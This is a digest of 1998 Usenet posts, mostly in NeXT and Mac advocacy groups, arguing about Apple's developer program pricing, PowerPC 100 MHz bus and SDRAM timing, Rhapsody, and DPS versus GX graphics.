References: <6gutq8$79t$1@ha2.rdc1.sdca.home.com>
Rex Riley writes
> ITS AN INVESTMENT. It has risks. It has rewards. It isn't going to
> be easy. It won't be free. Do-the-math "before". No reward? It"s a bad
> investment. Investments need management. Figure out where the
> investment can make you the most return. Monitor the investment. Too
> expensive? Maybe it's not the right investment for you.
This comment is way off the mark. Many significant improvements in our
industry have come from so-called hobbyists who had access to "cool" tech
and leveraged it to do things that its designers had never foreseen. The
Mac market probably provides hundreds of examples of apps and utilities
that never would have seen the light of day if it cost $3500 -- or even
$500 -- to get in. We don't need this "business snob" attitude.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Tue, 14 Apr 1998 09:10:09 -0500
Organization: Jump Point Communications, Inc.
Message-ID: <tim-1404980910100001@jump-k56flex-1014.jumpnet.com>
References: <6go69q$8l1$3@hecate.umd.edu> <352FD2BF.50693172@adr.dk> <tim-1204981459310001@jump-k56flex-0101.jumpnet.com> <handleym-1404980047570001@handma.apple.com>
[I wrote]:
| > 6-1-1-1 (83.3MHz)
| > 7-1-1-1 (100MHz)
| >
| > 9 cycles @83.3MHz = 108ns
| > 10 cycles @100MHz = 100ns (8% faster)
In article <handleym-1404980047570001@handma.apple.com>,
handleym@apple.com (Maynard Handley) replied:
| Of course these are bus cycles, not CPU cycles, so an extra bus cycle is 4
| CPU cycles (@400MHz). With critical dword first, and assuming one has some
| work to do before needing the next data in the line, one suspects that the
| 9 cycle 108ns bus may actually run code slightly faster.
Yes, it is better to compare processor cycles here. However, the two
systems are running at different processor/bus ratios (the assumption is
that the processor clock frequency is the same between the two), so they
tend to even out in terms of processor cycles. e.g. for the critical
doubleword timing in processor cycles:
300MHz processor,
3.5:1 bus = 85.7MHz; 6 bus cycles = 21 processor cycles
3:1 bus = 100MHz; 7 bus cycles = 21 processor cycles
400MHz processor,
5:1 bus = 80MHz; 6 bus cycles = 30 processor cycles
4.5:1 bus = 89MHz; 6 bus cycles = 27 processor cycles
4:1 bus = 100MHz; 7 bus cycles = 28 processor cycles
--
-- Tim Olson
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 15:51:09 GMT
Organization: P & L Systems
Message-ID: <6h00ld$oop$44@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu>
<joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul>
<6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu>
<6gio5m$oop$11@ironhorse.plsys.co.uk> <trumbull-0904981544360001@net44-223.student.yale.edu>
<6gqm9g$oop$29@ironhorse.plsys.co.uk> <trumbull-1404981049260001@net44-223.student.yale.edu>
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In <trumbull-1404981049260001@net44-223.student.yale.edu> Ben Trumbull wrote:
> In article <6gqm9g$oop$29@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> > Where did I make that claim?! Please refrain from putting words into my
> > mouth -- it is most distasteful.
>
> You said Apple changed the dev program to prevent people from abusing it
> because Apple was losing money on it. You and other people suggested
> Apple was "subsidizing" hobbyist developers. I pointed out a number of
> places where Apple either does, or should, make a substantial profit off
> hobbyist developers. No one put words into your mouth.
>
What has this to do with your claim that I made any reference to
Barnes&Noble?
> Sorry, but asserting that Apple doesn't make money off the books they sell
> to Barnes&Noble and the rest of the Addison&Wesley series to "hobbyist"
> developers is absurd.
Please provide a reference to a post wherein I claimed that Apple does not
make money off the books they sell to Barnes&Noble, or retract your
assertion.
> > So why have so many people been screaming about the fact that the
hardware
> > discount scheme is no longer as accessible?
>
> Dunno. Maybe they're just feeling shafted by a tactless change in
> policy. Maybe the next $100 comes in handy ?
>
> > Figures? Until I see figures proving it one way ot the other, each of us
is
> > untitled to our own *opinion*.
>
> Retailers take a substantial chunk out of the net in any sale. This is
> fact, not a matter of opinion.
>
Figures...?
Especially in the light of complaints about discontinuation of the hardware
discount scheme, which you seem unable to address...
mmalc.
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: 14 Apr 1998 14:50:59 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1404981050430001@pm61-12.magicnet.net>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51> <ant1411451cbLJLo@om107.acorn.co.uk>
Dave Griffiths <dgriffit@acorn.co.uk> wrote:
> If it wasn't for us Europeans you lot would still be living in wigwams
> and hunting buffalo with bows and arrows!
Well, if it wasn't for the US, you guys would be drinking warm beer,
eating badly-cooked food, and foisting silly girl groups on...
Er, never mind.
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: maliyekk@rice.edu (Anil Thomas Maliyekkel)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Followup-To: comp.sys.powerpc.tech,comp.sys.next.advocacy
Date: 14 Apr 1998 15:53:46 GMT
Organization: Rice University, Houston, Texas
Message-ID: <6h00qa$f7k$1@joe.rice.edu>
References: <6gpc8q$7f9$1@hecate.umd.edu> <handleym-1404980057520001@handma.apple.com>
Maynard Handley (handleym@apple.com) wrote:
: Apple is not currently in a position to churn out multiple different
: motherboards targetted at different market segments. They are trying to do
: the best they can with a single style of motherdboard and simply changing
: the case and components. For the most part this appears to be a good
: strategy for right now. Certainly in the past, Apple has suffered from an
: excess of systems with gratuitously different hardware resulting in all
: these strange bugs that only affect the 6300 or 5500 or some other oddball
: variant, and wasting massive amounts of test time and OS coding time that
: could be better used elsewhere.
Yup...
: Before getting so worked up about the lack of a 100MHz bus, David, why
: don't you quantify for us just how much performance you are missing. Do
: you even know? Do you know if using currently available SDRAM in a 100MHz
: system and increasing the latency will slow down or speed up a system? Do
: you know if maybe the system could best be made to run faster not by
: screwing around with the bus speed but by revving the various chips on the
: bus to be able to queue more transaction, and by making more aggressive
: use of the pipelining capabilities defined in the 60x bus?
: The point is, if you don't know the answers to these questions, then you
: are hardly in a position to call the Apple engineers idiots. Chances are,
: they DO know the answers, and are making their decisions based on what
: will actually speed up systems, not based on "ooh, 100 is bigger than
: 83---lets make our next bus run at 100MHz and screw the consequences".
I don't think David was calling the Apple engineers idiots. Quite
the opposite actually. The main point he has been arguing is that
the explanation offered by MacOSRumors, which is claiming to have
2nd hand knowledge of what Apple engineers have said regarding
the required timing for 100MHz SDRAM, is wrong.
: Maynard
: --
: My opinion only
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 14 Apr 1998 12:36:01 GMT
Organization: P & L Systems
Message-ID: <6gvl7h$oop$43@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu>
<joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul>
<6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu>
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NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <1d78dx8.1olb8yi6si1r4N@desktop.tom-e.private> Thomas Engelmeier wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > If you're a real hobbyist, do you *need* access to the bleeding edge s/w?
> > If not, then you don't need to belong to the program, so it won't cost
you
> > anything.
>
> I do Apple development as a "hobbyist" (not too many Mac programming
> jobs @ Munich at the moment), and especially for this I need access to
> the latest stuff. Unlike when programming for profit I need to consider
> the latest, "in progress" SDKs for this or that small project that I
> wouldn't have the time to implement otherwise.
>
I was arguing the reverse; it's more likely to be commercial organisations
who need access to the latest releases of s/w. If programming is a *hobby*
for you, why do you need access to beta code, or if you do, why shouldn't you
have to pay for it like other people do for materials for their hobbies?
Better still ask the question below...
> > I also hope that the additional fees will go toward giving a better
service
> > to those who choose to stay in one of the developer programs.
>
> And I guess you belive in the Easter bunny and Santa claus. IMO it is a
> better bussiness practice first to establish a better service and then
> charge for it accordingly.
>
Are Apple providing good value for money with the new programs?
I believe they are.
mmalc.
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 14:57:25 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6gvtgl$hvr@shelob.afs.com>
References: <joe.ragosta-1404981037440001@wil44.dol.net>
Joe Ragosta writes
> In article <6gvqbt$hnq@shelob.afs.com>, Greg_Anderson@afs.com wrote:
> > This comment is way off the mark. Many significant improvements in our
> > industry have come from so-called hobbyists who had access to "cool"
> > tech and leveraged it to do things that its designers had never
> > foreseen. The Mac market probably provides hundreds of examples of
> > apps and utilities that never would have seen the light of day if it
> > cost $3500 -- or even $500 -- to get in. We don't need this "business
> > snob" attitude.
>
> 1. If there are hundreds of such products, please name a few.
I can't. I'm not coming to this discussion from the Mac side, which is
why I used the word "probably." The common perception is that Mac was a
hacker's platform, with many great things coming from "unknowns." Am I
wrong in that impression? If so, why all the anguish about small guys?
> 2. Of these hundreds of such products, please name the ones which would
> not be developed under the current plan. Remember, previously, you had
> to pay to get SDKs. Today, you can download them for free.
I'm not taking a position on whether the changes to the developer program
are good or bad. All I can say is, computers are generally purchased on
the basis of software needs. The easier and cheaper it is for developers
to get involved, the more successful you will be. In the case of Rhapsody,
which is what concerns me, Apple itself is "sole source" for YB. (Unless
something has changed MetroWerks is *not* pure YB.) That is not true for
Windows, where there are many products wrapped around the Win/32 API.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 14 Apr 1998 11:28:27 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6gvh8r$8u$1@ns3.vrx.net>
References: <B1540F1E-99E8B@206.165.43.22>
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Cc: english@primenet.com
In <B1540F1E-99E8B@206.165.43.22> "Lawson English" claimed:
(innappropriate newsgroups removed)
> BTW, anyone read the new excerpts from Amelio's book about how Steve Jobs
> approached Amelio well before the NeXT purchase claiming that he was the
> ultimate CEO for Apple and that Amelio should just step aside and let the
> right stuff handle the job?
Ever hear that aliens built a statue on Mars? Even though the latest Mars
Orbiter photos show it to be nothing more than a jumble of rock, that's just
NASA massaging the data and lying to the world.
Regardless, I think he is the right person for the job, and it would appear
that for the first time in about a decade both Wall St. and Fleet St. agree.
> But nyah, there was never any question that Jobs and Ellison hadn't
> collaborated on the Jobs takeover of Apple.
Let's see if I'm deciphering "Lawgic" correctly:
since: Steve Jobs says he is the best man for the job.
therefore: Jobs and Ellison were in cahoots.
How clear.
Other questions aside from the obvious non-sequiter of this argument exist:
so what, and who cares?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 14 Apr 1998 11:33:31 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6gvhib$8u$2@ns3.vrx.net>
References: <joe.ragosta-1004980619170001@elk81.dol.net> <B153C824-106D1@206.165.43.115>
<6gm2s3$213$1@news.digifix.com>
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In <6gm2s3$213$1@news.digifix.com> Scott Anguish claimed:
> >No, you're chuckling over DPS-lover's propoganda.
No Lawson, that would be "professional DPS user's comments". In GX's
defence you've offered comments solely from people (well, you and Rex) who as
far as I can tell have never used either GX or DPS in a production setting.
In other words I'm quite willing to write off your entirely argument set,
notably when it proves to be wrong so often.
> >feedback about DPS that you are getting has been from people that use
> DPS,
> >not GX.
Whereas the only feedback we're getting about GX is from someone who has
never releases a commercial product in it. If GX were so studly, why is it
that the developers who actually use it can't be bothered to talk about it?
> Also, the people in charge of graphics at Apple *invented*
> DPS, not
> >GX, so they have a certain level of bias, also.
Let me see if I understand this...
Team 1 from Apple creates DPS
Team 2 from Apple creates GX
I'm supposed to believe that...
a) Team 1 is biased
b) Team 2 is better than Team 1
More "Lawgic".
Maury
From: davewang@wam.umd.edu (David T. Wang)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Followup-To: comp.sys.powerpc.tech,comp.sys.next.advocacy
Date: 14 Apr 1998 16:39:13 GMT
Organization: University of Maryland, College Park, MD
Message-ID: <6h03fh$m2v@dailyplanet.wam.umd.edu>
Maynard Handley (handleym@apple.com) wrote:
: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: > I don't think that right now, a system with a 100+ MHz memory bus is
: > likely to be targeted toward the sub $1200 consumer market. In the Mac
: > world, as it is in the x86 world, higher performance stuff comes at a
: > premium, then they migrate to the lower priced systems. Heck, just look
: > at Apple's G3 systems, the only systems with 66 MHz memory busses, and
: > when it first came out, it's all exclusive to the $2K+ systems, but
: > as time goes on, Apple will introduce systems targeted toward the sub
: > $1200 market with G3's on 66 MHz busses. IMO, the suitability of PC-100
: > DIMMS for the sub $1200 consumer market is also irrelvent at this time.
: > If they can get it, it'll end up in the higher priced systems.
: Apple is not currently in a position to churn out multiple different
: motherboards targetted at different market segments. They are trying to do
: the best they can with a single style of motherdboard and simply changing
: the case and components. For the most part this appears to be a good
: strategy for right now. Certainly in the past, Apple has suffered from an
: excess of systems with gratuitously different hardware resulting in all
: these strange bugs that only affect the 6300 or 5500 or some other oddball
: variant, and wasting massive amounts of test time and OS coding time that
: could be better used elsewhere.
: Before getting so worked up about the lack of a 100MHz bus, David, why
: don't you quantify for us just how much performance you are missing. Do
: you even know? Do you know if using currently available SDRAM in a 100MHz
: system and increasing the latency will slow down or speed up a system? Do
: you know if maybe the system could best be made to run faster not by
: screwing around with the bus speed but by revving the various chips on the
: bus to be able to queue more transaction, and by making more aggressive
: use of the pipelining capabilities defined in the 60x bus?
: The point is, if you don't know the answers to these questions, then you
: are hardly in a position to call the Apple engineers idiots. Chances are,
Now you're getting personal where you shouldn't be. If you'd like, please
go back and review the thread. This is moving into the .advocay realm.
What I had problem with, was someone's statement that "according to
MacOSRumors, Apple had 89+ MHz motherboards running, but they couldn't
push much higher because of the lack of affordable 5 ns SDRAM" Which
made no sense technically. I pointed out that there's a big mismatch
there. Others interjected and pointed out that you'd need a good timing
margin. However, this is still a big difference between 5ns, and "above
89 Mhz", so I suggested that this was not written by anyone with any
sort of technical knowledge. I moved part of the discussion to the
.advocacy group, but it seems that you missed it, so I apologize to
any one offended by this non-technical discussion here. This is what I
wrote is a slightly different thread....
-------------------------------------------------------------------
All of this discussion may well be true. However, that has next to nothing
to do with the lack of availability of "5 ns SDRAM". If Apple decide not
to increase the memory bus speed for its entire family of computers due
to cost and availability concerns, that would one thing, but I can't fathom
that Apple would want to engineer a 160 MHz motherboard in 1998, so blaming
the lack of availability of "cost effective 5 ns SDRAM" for their
unwillingness to push past 89 MHz is crazy. I don't think that Apple's
engineers would ever say this sort of thing, but instead someone without
the ability to think it through at MacOSRumors came up with this insane
rumor all on his/her own.
-------------------------------------------------------------------
I don't think that I'm assailing Apple's engineering capability here.
I was simply dispelling a rumor which I found to be crazy, and even went
to the extent in experssing my opinion that Apple's engineers would
presumably not have made the statement, and nowhere did I make the
statement that Apple's engineers are idiots.
: they DO know the answers, and are making their decisions based on what
: will actually speed up systems, not based on "ooh, 100 is bigger than
: 83---lets make our next bus run at 100MHz and screw the consequences".
: Maynard
: --
: My opinion only
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 11:46:00 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6gvi9o$8u$4@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <352A6D21.3FC9A99@cisco.com>
<6ggo0q$47c$1@interport.net> <6gm8eo$hom$2@quasar.dimensional.com>
<6gnml2$enm@newsb.netnews.att.com> <6guni2$4m9$5@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
In <6guni2$4m9$5@quasar.dimensional.com> Kenneth R. Kinder claimed:
> Not ATM. Just a protocal-based system. The cable we all have in our homes
> is perfectly capable to support a digital low-bandwidth protocal, which is
> what it should be.
Oh yeah, great, cable companies providing telephone! Let's see...
a) my cable breaks once a month
b) cable is unpowered thus requiring a second cable into my phone
c) the system thus becomes two-way failure prone as it will stop
working if either service goes down
d) it provides no backup to these services, unlike the phone system
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 11:43:34 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6gvi56$8u$3@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net>
<6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com>
<6ggn3g$1kt$6@quasar.dimensional.com> <352C14BD.D93282EC@cisco.com>
<6gm8tn$hom$5@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
In <6gm8tn$hom$5@quasar.dimensional.com> Kenneth R. Kinder claimed:
> Digital -> Audio/Analog -> Digital
>
> As apposed to:
>
> Digital
Your argument, previously unclear, is now clear to me. Your claim is that
PPP is a hack because the phone system is analogue. I don't know what to
say, other than this strikes me as even more idiotic than your prior claims.
> A digital protocal-based system. Read that other post... the really long
> one up a little in the thread. :)
It is clear then that you should simply send me the money now, as the bet
clearly specifies PPP as the primarly _dialup_ method. I doubt even you
think the _phone_ system will change to all-digital in three years, so if you
care to conceed the astounding $14US, I would be happy to provide my address
in e-mail.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody ready for mission critical deployment?
Date: 14 Apr 1998 11:47:50 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6gvid6$8u$5@ns3.vrx.net>
References: <6goa2d$j60$1@ha2.rdc1.sdca.home.com> <B156F906-C32E82@141.214.128.36>
<6gs2vg$hfm$1@ha2.rdc1.sdca.home.com>
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Cc: rriley@yahoo.com
In <6gs2vg$hfm$1@ha2.rdc1.sdca.home.com> Rex Riley claimed:
> That's true... the number of connections is pretty high though. It's
> somewhere around ~170,000 connections before you have to reboot the server.
> On a high traffic site that server is good for a couple of days or so.
Does anyone know if this will be true in the new kernel as well?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 11:56:25 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6gvit9$8u$6@ns3.vrx.net>
References: <6gmmaa$ahc2@odie.mcleod.net> <B1550FCE-5B1ED@206.165.43.155>
<3530F643.DEADA2A5@trilithon.com>
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Cc: henry@trilithon.com
In <3530F643.DEADA2A5@trilithon.com> Henry McGilton claimed:
> Most of the Hangul users in the world are in Korea --- I doubt
> there are that many in Japan, and even fewer in China, and as for
> "other Asian countries", I doubt there are many in Vietnam,
> Cambodia, Thailand, Malaysia, Indonesia, Myanmar, or the Phillippines.
> And probably close to zero Hangul users in India.
It appears that Lawson has been substituting "Hangul" for "Kanji" - an
issue which may (if true) prove even more conclusively that he has no clue.
> Providing tri-glyph support (which already exists in the OpenStep
> Text object suite if you would get off your high horse long enough
> to take a look)
He won't.
Maury
From: maliyekk@rice.edu (Anil Thomas Maliyekkel)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: 14 Apr 1998 17:29:12 GMT
Organization: Rice University, Houston, Texas
Message-ID: <6h06d8$ll3$1@joe.rice.edu>
References: <6h0466$m2v@dailyplanet.wam.umd.edu>
David T. Wang (davewang@wam.umd.edu) wrote:
: Christian Bau (christian.bau@isltd.insignia.com) wrote:
: : Tim Olson posted earlier an example that with an 83 MHz motherboard you
: : might have an access pattern of 6-1-1-1 cycles, where a 100 MHz board
: : would give you a 7-1-1-1 access pattern.
: : Looks to me that most of the delay comes from the SDRAM chip itself
: : (roughly 70ns for the first access), and that delay doesnt change no
: : matter what speed your motherboard is. I might be wrong, but having a 128
: : bit bus at 41.5 MHz might turn out the be exactly as fast as a 64 bit bus
: : at 83 MHz and might be much easier to build.
: It might be technically easier to engineer, but possibly more costly.
: You need a bigger board, more traces to the chipset that will do the memory
: interleaving for you. Also, in a case where on the 83 MHz bus the access
: pattern is 6-1-1-1, if you go to a 41.5 MHz bus, the access pattern may
: be 3-1-1-1, but that's slower because the "1" in a 41.5 Mhz bus takes twice
: as long as in a 83 MHz bus. Sometimes to engineer a big fat wide bus may
: be no easier than design a thinner faster bus.
The approach that is used with the 21264 is interesting. Instead
of implementing a fast and wide (>64bit) system bus, they implemented
a very fast 64 bit point to point system interface running up to
333MHz. The chipset is responsible for creating an interface
to DRAM and to other CPUs. It should keep CPU costs down on
the packaging side, but will likely raise the costs of chipsets
and SMP systems. Perhaps in the not to distant future we'll
see even narrower system interfaces, perhaps using high speed
optical interconnects.
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 16:31:38 GMT
Organization: The Vast Right Wing Conspiracy
Message-ID: <6h031a$msf$1@usenet85.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gsosb$oop$34@ironhorse.plsys.co.uk> <gmgraves-1304981105070001@sf-usr1-44-172.dialup.slip.net> <6gvd4h$oop$37@ironhorse.plsys.co.uk>
In article <6gvd4h$oop$37@ironhorse.plsys.co.uk>,
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>> Oh, I dunno, I MIGHT (as a developer) want to develop my software
>> for Rhapsody, or for Allegro. Can't do that WITHOUT actually having
>> Rhapsody or Allegro, and the only way to get those is for Apple to
>> seed them to you!
>>
>Nope. You could buy OPENSTEP/Enterprise, or WebObjects.
I'd still want to do development on a Rhapsody system, rather
than do it on OS and later port it. It's a win to be developing
in the environment you'll be deploying in. Besides, there's no Java
in OS.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Tue, 14 Apr 1998 13:50:00 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1404981350000001@132.236.171.104>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6gpmsk$esn$1@usenet48.supernews.com> <yl3zphrweb9.fsf@shell8.ba.best.com> <stevehix-1204981350530001@ip25.safemail.com> <slrn6j5tj7.p5a.mbkennel@lyapunov.ucsd.edu>
In article <slrn6j5tj7.p5a.mbkennel@lyapunov.ucsd.edu>, mbkennel <replace
this with '@'> yahoo.com wrote:
> and *forced* to answer. He would be given the question two weeks in
> advance so "well I don't know my lawyers will have to get back to you
> on this."
He was successfully evasive on a variety of points at the previous Senate
hearings. I am sure he would be quite evasive about this question too if
the answer were incriminating. Either way, the evasiveness just makes it
look like he has something to hide; indeed, I think it would be irrational
behavior if he did not.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 17:35:47 GMT
Organization: P & L Systems
Message-ID: <6h06pj$oop$45@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
<6gloht$oop$16@ironhorse.plsys.co.uk> <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com>
<6gq8bi$oop$20@ironhorse.plsys.co.uk> <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com>
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Cc: bl003@dial.oleane.com
In <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com> Benoit Leraillez wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > > 1 WebAbject is 99$ for administrative use only..
> > >
> > Where does it say that?
>
> On < http://www.macintouch.com/newsprevious.html>:
> MacInTouch sources report that Apple will begin selling WebObjects
> Enterprise Developer 3.5 (including WebObjects Enterprise Unlimited
> Deployment) to educational customers for just $99 next week - for
> academic and university-related administrative use. (Support is not
> included.)
>
Oh great, so you'd rather trust MacInTouch's report rather than the official
announcement...?
... from Apple which did specifically include students:
"...Apple is reinforcing its commitment to education by offering
WebObjects Enterprise Developer version (v3.5) and WebObjects
Enterprise Unlimited Deployment to educational customers (student,
staff, faculty) for academic and university-related administrative
use for $99..."
Satisfied?
mmalc.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 14:37:16 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1404981437160001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104> <6gloht$oop$16@ironhorse.plsys.co.uk> <ericb-1304982021040001@132.236.171.104> <6gve4s$oop$40@ironhorse.plsys.co.uk>
In article <6gve4s$oop$40@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> Then how about waiting until they make an announcement, and then whining if
> they don't live up (or down to your...) to expectations?
How long should I wait? The plan for regular developers has been around
for a long time. Rhapsody DR1 came out last September. Does it really
take seven months to make an announcement?
(Also remember that I've been waiting for a "real" [sorry Don!] OS from
Apple for a long time. My patience does have limits. Seven months may
not seem that bad. What if it stretches into 12 months? What if it
doesn't happen at all? At some point you *have* to give up on Apple, and
I think it's natural for me to start grumbling when I'm tired of waiting.
You didn't go through the Copland fiasco.)
> Like WebObjects for $99? Official.
I have an Apple computer product. Can I run WebObjects on MacOS, or do I
need to buy another computer--not an Apple product--in order to run it
without Rhapsody?
> I am not rehashing old rumours, I am passing on information I have received
> from asking people within Apple directly, from paying careful attention to
> press releases, announcements etc., and extrapolating from directions
> indicated by other pricing structures.
Extrapolating or otherwise predicting Apple's future behavior has always
proven to be quite dangerous! But I accept the point (as reinforced in
your email) that you claim to have information not available to the
general public.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 14:45:35 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1404981445350001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com>
In article <6gutq8$79t$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> Too expensive? Maybe it's not the
> right investment for you.
That is exactly the conclusion I am reaching, pending materialization of a
vaporous education developer program. The concern is that if too many
people reach the same conclusion, Rhapsody will suffer.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
